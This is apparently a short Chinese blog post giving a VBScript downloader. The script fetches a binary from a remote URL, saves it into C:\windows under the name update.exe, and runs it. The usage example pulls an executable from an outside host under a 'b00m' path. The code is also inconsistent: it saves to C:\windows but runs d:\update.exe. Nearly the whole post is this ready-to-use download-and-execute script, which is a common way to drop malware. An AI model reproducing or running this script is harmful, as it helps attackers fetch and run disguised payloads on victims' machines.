c:\windows\apsou.vbs
Const adTypeBinary = 1 Const adSaveCreateOverWrite = 2 Dim BinaryStream Set BinaryStream = CreateObject("ADODB.Stream") BinaryStream.Type = adTypeBinary BinaryStream.Open BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite Function BinaryGetURL(URL) Dim Http Set Http = CreateObject("WinHttp.WinHttpRequest.5.1") Http.Open "GET", URL, False Http.Send BinaryGetURL = Http.ResponseBody End Function Set shell = CreateObject("WScript.Shell") shell.Run "d:\update.exe"
调用方法
start C:\\windows\\apsou.vbs http://www.codito.de/b00m/calc.exe C:\\windows\\update.exe
本博客文章绝大多数为原创,少量为转载,代码经过测试验证,如果有疑问直接留言或者私信我。
创作文章不容易,转载文章必须注明文章出处;如果这篇文章对您有帮助,点击右侧打赏,支持一下吧。
创作文章不容易,转载文章必须注明文章出处;如果这篇文章对您有帮助,点击右侧打赏,支持一下吧。